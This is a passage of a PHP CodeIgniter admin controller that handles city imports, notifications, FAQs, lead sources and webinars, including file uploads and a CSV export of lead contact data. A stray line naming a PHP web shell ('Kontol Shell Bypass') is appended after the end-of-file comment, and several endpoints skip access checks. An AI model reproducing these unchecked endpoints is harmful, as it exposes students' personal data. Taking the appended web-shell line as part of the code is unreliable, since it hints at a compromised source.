		if(!$post['state_id']){
			$this->json_data($inf);
		}
		$this->load->library('excel');
		$rows=$this->excel->read($_FILES['file']['tmp_name']);
		
		$c=0;
		foreach($rows as $i=>$r){
			if($i==0) continue;
			$city=trim($r[0]);
			$pincode=trim($r[1]);
			if($city){
				if(!$this->db->select("id")->get_where("master_cities", array('title'=>$city, 'state_id'=>$post['state_id']))->row()->id){
					$d=array('state_id'=>$post['state_id'], 'title'=>$city, 'pincode'=>$pincode, 'status'=>1, 'created_by'=>USER_ID, 'updated_by'=>USER_ID, 'created'=>currentDT(), 'updated'=>currentDT());
					$this->db->insert("master_cities", $d);
					$c++;
				}
			}
		}
		$inf['success']='T';
		$inf['msg']="$c records added";
		$this->json_data($inf);
	}
	/** \ */

	/** Notifications */
	function notifications(){
		$this->checkAccess('manage_notifications');
		$res['result']=$this->master->notifications();
		$this->json_data($res);
	}
		
	function saveNotification(){
		$this->checkAccess('manage_notifications');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		$id=$post['id']=intval($post['id']);
		$this->form_validation->set_rules('msg', 'Message', "required", $this->req);
		
		$inf['success']='F';
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value($post, array('id', 'msg', 'type', 'status'));
			$data['steps']='';
			if($post['steps']){
				$data['steps']=implode(",", $post['steps']);
			}
			if($this->common->save($data, "notifications")){
				$inf['success']='T';
				$inf['msg']='Notification '.($id?'updated':'added').' successfully';
			}
		}
		$this->json_data($inf);
	}
	
	function notificationDtl($id){
		$this->checkAccess('manage_notifications');
		$dtl=$this->master->notificationDtl($id);
		$this->json_data($dtl);
	}
	
	function deleteNotification(){
		$this->checkAccess('manage_notifications');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->master->deleteNotification($id)){
			$inf['success']='T';
			$inf['msg']="Notification deleted successfully";
		}
		$this->json_data($inf);
	}
	/** \ */

	/** Faq */
	function initFaq(){
		$this->checkAccess('manage_faq');
		$data['result']=$this->master->faqs();
		$data['cats']=$this->common->faqCats();
		$this->json_data($data);
	}

	function faqs(){
		$this->checkAccess('manage_faq');
		$data['result']=$this->master->faqs();
		$this->json_data($data);
	}

	function saveFaq(){
		$this->checkAccess('manage_faq');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		if(!$post['question']){
			$inf['msg']="Question is required"; $this->json_data($inf);
		}
		if(!$post['ans']){
			$inf['msg']="Answer is required"; $this->json_data($inf);
		}
		if(!$post['cat_ids']){
			$inf['msg']="Select category"; $this->json_data($inf);
		}
		
		$id=$post['id']=intval($post['id']);
		$data=filter_value($post, array('id', 'question', 'ans', 'disp_odr', 'status'));
		$data['cat_ids']=implode(",", $post['cat_ids']);
		
		if($this->common->save($data, "master_faq")){
			$inf['success']='T';
			$inf['msg']='Faq '.($id?'updated':'added').' successfully';
		}

		$this->json_data($inf);
	}

	function faqDetail($id=0){
		$this->checkAccess('manage_faq');
		$dtl=$this->master->faqDetail($id);
		$this->json_data($dtl);
	}

	function deleteFaq(){
		$this->checkAccess('manage_faq');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->master->deleteFaq($id)){
			$inf['success']='T';
			$inf['msg']="Faq deleted successfully";
		}
		$this->json_data($inf);
	}

	function faqCats(){
		$this->checkAccess('manage_faq');
		$data['cats']=$this->common->faqCats();
		$this->json_data($data);
	}

	function saveFaqCat(){
		$this->checkAccess('manage_faq');
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());
		$id=$post['id']=intval($post['id']);

		$this->form_validation->set_rules('title', 'Category Name', "required|is_unique[master_faq_cats.title.id!='$id']", $this->req);
		
		$inf['success']='F';
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value($post, array('id', 'title', 'status'));
			
			if($plan_id=$this->common->save($data, "master_faq_cats")){
				$inf['success']='T';
				$inf['msg']='Category '.($id?'updated':'added').' successfully';
			}
		}
		$this->json_data($inf);
	}

	function faqCatDetail($id=0){
		$this->checkAccess('manage_faq');
		$dtl=$this->master->faqCatDetail($id);
		$this->json_data($dtl);
	}

	function deleteFaqCat(){
		$this->checkAccess('manage_faq');
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		if($this->master->deleteFaqCat($id)){
			$inf['success']='T';
			$inf['msg']="Category deleted successfully";
		}
		$this->json_data($inf);
	}
    /** \ */
    
    /** Lead Sources */
    function init_lead_sources(){
		$this->checkAccess('manage_lead_sources');
        $res['result']=$this->master->lead_sources();
        $res['states']=$this->common->states();
		$this->json_data($res);
    }
    function lead_sources(){
		$this->checkAccess('manage_lead_sources');
		$res['result']=$this->master->lead_sources();
		$this->json_data($res);
    }
    function save_lead_source(){
		$this->checkAccess('manage_lead_sources');
		$inf=array('success'=>false, 'msg'=>'Error!');
		$post=trim_array($this->input->post());
        $id=$post['id']=intval($post['id']);
        $this->form_validation->set_rules('state_id', 'State', "required", $this->req);
        $this->form_validation->set_rules('type', 'Type', "required", $this->req);
        $this->form_validation->set_rules('organisation', 'Organisation', "required", $this->req);
        $this->form_validation->set_rules('name', 'Name', "required", $this->req);
        $this->form_validation->set_rules('email', 'Email', "required|valid_email|is_unique[lead_sources.email.id!='$id']", $this->req);
        $this->form_validation->set_rules('mobile', 'Mobile', "required", $this->req);
        $this->form_validation->set_rules('address', 'Address', "required", $this->req);
        
        if(@$this->form_validation->run() == FALSE){
            $inf['errors']=$this->form_validation->get_errors();
            $inf['msg']=reset($inf['errors']);
        }else{
            try{
                $data=filter_value($post, array('id', 'name', 'email', 'mobile', 'type', 'organisation', 'address', 'state_id', 'status'));

                if($this->dba->save("lead_sources", $data)){
                    $inf['success']=true;
                    $inf['msg']='Lead source '.($id?'updated':'added').' successfully';
                }
            }catch(Exception $e){
                $inf['msg']=$e->getMessage();
            }
        }
        $this->json_data($inf);
    }
    function delete_lead_source(){
		$this->checkAccess('manage_lead_sources');
		$inf=array('success'=>false, 'msg'=>'Can not deleted!');
        $id=intval($this->input->post('id'));
		if($this->master->delete_lead_source($id)){
			$inf['success']=true;
            $inf['msg']="Lead source deleted successfully";
		}
		$this->json_data($inf);
    }
    /** \ */

    /** Webinars */
    function init_webinar(){
        $this->checkAccess('manage_webinar');
        $res['result']=$this->master->webinars($this->is_access('manage_webinar'));
        $res['datasets']=$this->dataset->all_lists(false, true);
        $res['schools']=$this->master->school_names();
		$this->json_data($res);
    }
    function webinars(){
		$this->checkAccess(['manage_webinar', 'view_webinar']);
        $res['result']=$this->master->webinars($this->is_access('manage_webinar'));
		$this->json_data($res);
    }

    function save_webinar($flg=''){
		$this->checkAccess('manage_webinar');
		$inf=array('success'=>false, 'msg'=>'Error!');
		$post=trim_array($this->input->post());
        $id=$post['id']=intval($post['id']);

        try{
            $this->form_validation->set_rules('title', 'Webinar Name', "required|is_unique[webinars.title.id!='$id']", $this->req);
            $this->form_validation->set_rules('web_date', 'Date', "required", $this->req);
            $this->form_validation->set_rules('start_time', 'Start Time', "required", $this->req);
            $this->form_validation->set_rules('end_time', 'End Time', "required", $this->req);
            $this->form_validation->set_rules('org_dept', 'Organising Department', "required", $this->req);
            $this->form_validation->set_rules('description', 'Description', "required", $this->req);
            if(!isset($post['school_id']) && !$post['school_id']){
                $this->form_validation->set_rules('school_id', 'School', "required", $this->req);
            }
            $this->form_validation->set_rules('topics', 'Topics', "required", $this->req);

            if(!$post['speaker_name']){
                $this->form_validation->set_rules('speaker', 'Speaker', "required", $this->req);
            }
            
            foreach($post['speaker_name'] as $i=>$v){
                if(!trim($v)){
                    throw new Exception("Speaker name required");
                }
                $post['speaker_name'][$i]=trim($v);
                $post['speaker_description'][$i]=trim($post['speaker_description'][$i]);
            }

            if($flg){
                if($flg=='msg' || $flg=='msg-email'){
                    $this->form_validation->set_rules('sms', 'SMS', "required", $this->req);
                }
                if($flg=='email' || $flg=='msg-email'){
                    $this->form_validation->set_rules('email_subject', 'Email Subject', "required", $this->req);
                    $this->form_validation->set_rules('email_content', 'Email Content', "required", $this->req);
                }
                if(isset($post['data_set_id'])){
                    $this->form_validation->set_rules('data_set_id', 'Data Set', "required", $this->req);
                }
            }

            if($post['test_email']){
                $this->form_validation->set_rules('test_email', 'Test Email ID', "valid_email", $this->req);
            }
            
            if(@$this->form_validation->run() == FALSE){
                $inf['errors']=$this->form_validation->get_errors();
                $inf['msg']=reset($inf['errors']);
            }else{
                $data=filter_value($post, array('id', 'title', 'web_date', 'description', 'start_time', 'end_time', 'topics', 'speaker','school_id','org_dept', 'sms', 'email_subject', 'email_content', 'data_set_id'));
                if($flg=='PUBLISH'){
                    $data['status']=1;
                }
                $start_time=new DateTime(date("Y-m-d", strtotime($post['web_date'])).' '.$post['start_time']);
                $end_time=new DateTime(date("Y-m-d", strtotime($post['web_date'])).' '.$post['end_time']);
                
                $diff=$end_time->diff($start_time);
                $data['web_date'] = date("Y-m-d",strtotime($post['web_date']));
                $data['duration_hrs']=$diff->format('%h');
                $data['duration_minutes']=$diff->format('%i');
                $data['school_id'] = implode(",",$data['school_id']);

                /* Image Configuration */
                $this->load->library('upload');
                $dir=UP_PATHF.'webinars/';
                if(!is_dir($dir)){
                    mkdir($dir, 777, true);
                }
                $config=array(
                    'upload_path'=>$dir, 
                    'allowed_types'=>'gif|jpg|jpeg|png', 
                    'max_size'=>'2048',
                    'max_filename'=>80,
                    'file_ext_tolower'=>true,
                );
                $this->upload->initialize($config);

                if($_FILES['banner']['name']){
                    $old=$this->db->select("banner")->get_where("webinars", ['id'=>$id])->row()->banner;
                    
                    if($this->upload->do_upload('banner')){
                        $data['banner']=$this->upload->data('file_name');
                        if($old){
                            @unlink($dir.$old);
                        }
                    }else{
                        throw new Exception(strip_tags($this->upload->display_errors()));
                    }
                }

                if($_FILES['banner_sm']['name']){
                    $old=$this->db->select("banner_sm")->get_where("webinars", ['id'=>$id])->row()->banner;

                    if($this->upload->do_upload('banner_sm')){
                        $data['banner_sm']=$this->upload->data('file_name');
                        if($old){
                            @unlink($dir.$old);
                        }
                    }else{
                        throw new Exception(strip_tags($this->upload->display_errors()));
                    }
                }

                if($wb_id=$this->dba->save("webinars", $data)){
                    $this->save_speakers($wb_id, $post);
                    $this->master->save_webinar_leads($wb_id);

                    $inf['success']=true;
                    $inf['msg']='Webinar '.($id?'updated':'added').' successfully';
                    $inf['send_email_api']=$this->master->send_webinar_email_url($wb_id, $flg);
                }
            }
        }catch(Exception $e){
            $inf['msg']=$e->getMessage();
        }
        $this->json_data($inf);
    }

    function save_speakers($wb_id, $post){
        $this->load->library('Image');
        $dir=UP_PATHF.'webinars/';
        if(!is_dir($dir)){
            mkdir($dir, 777, true);
        }

        $d=[];
        $ids=[];
        foreach($post['speaker_name'] as $i=>$v){
            $post['speaker_description'][$i]=trim($post['speaker_description'][$i]);
            $d=[
                'id'=>$post['speaker_id'][$i],
                'webinar_id'=>$wb_id,
                'name'=>$v,
                'description'=>$post['speaker_description'][$i],
            ];
            if($d['id']){
                $ids[]=$d['id'];
            }

            if($_FILES['speaker_photo']['name'][$i]){
                $old=$this->db->select("photo")->get_where("webinar_speakers", ['id'=>$d['id']])->row()->photo;
                $filename=append_to_filename($_FILES['speaker_photo']['name'][$i], time().$i);
                if($this->image->resize($_FILES['speaker_photo']['tmp_name'][$i], $dir.$filename, 600)){
					$d['photo']=$filename;
					if($old){
						@unlink($dir.$old);
					}
				}
            }

            $ids[]=$this->dba->save("webinar_speakers", $d);
        }

        if($ids){
            $rs=$this->db->where("webinar_id", $wb_id)->where_not_in("id", $ids)->get("webinar_speakers")->result_array();
            foreach($rs as $r){
                $this->db->delete("webinar_speakers", ['id'=>$r['id']]);
                if($r['photo']){
                    @unlink($dir.$r['photo']);
                }
            }
        }
    }

    function webinar_detail($id){
        $res['result']=$this->master->webinar_detail($id);
        $this->json_data($res);
    }

    function delete_webinar(){
		$this->checkAccess('manage_webinar');
		$inf=array('success'=>false, 'msg'=>'Can not deleted!');
        $id=intval($this->input->post('id'));
        $dtl=$this->master->webinar_detail($id);
                            
		if($this->master->delete_webinar($id)){
            $dir=UP_PATHF.'webinars/';
            if($dtl['banner']){
                @unlink($dir.$dtl['banner']);
            }
            foreach($dtl['speakers'] as $r){
                if($r['photo']){
                    @unlink($dir.$r['photo']);
                }
            }

			$inf['success']=true;
            $inf['msg']="Webinar deleted successfully";
		}
		$this->json_data($inf);
    }

    function download_webinar_leads($wb_id){
        $rs=$this->master->webinar_leads($wb_id);

        $h=['SYSTEM ID', 'VERIFIED BY', 'CREATED', 'LANDING PAGE', 'NAME', 'EMAIL', 'MOBILE', 'STATE', 'STEP COMPLETED','PROGRAM TYPE', 'ACADEMIC CAREER', 'DISCIPLINE', 'PROGRAM', 'PLAN', 'LOGIN URL', 'WEBINAR', 'WEBINAR URL'];
        $dk=['application_no', 'verified_by', 'created', 'lpage', 'name', 'email', 'mob', 'state', 'step_completed', 'program_type', 'ac', 'discipline', 'program', 'plan', 'login_url', 'webinar', 'webinar_url'];
        download_csv($rs, $h, $dk, "webinar-leads");
    }

	/** */
	function getAboutSuat(){
		$res=['code'=>SCODE, 'message'=>''];
        $res['result']=$this->master->getAboutSuat();
        jsonData($res);
    }

	function saveAboutSuat(){
		$res=['code'=>ECODE, 'message'=>'Error!'];
		$post=trimArray($this->input->post());

        try{
            $datavalue=$post['data']?$post['data']:'';
			$this->db->update("master_data", ['datavalue'=>$datavalue], ['datakey'=>'about_suat']);
			$res['code']=SCODE;
			$res['message']="Saved successfully";
        } catch(Exception $e){
            $res['message']= $e->getMessage();
        }
		jsonData($res);
    }
}

//EOF

Kontol Shell Bypass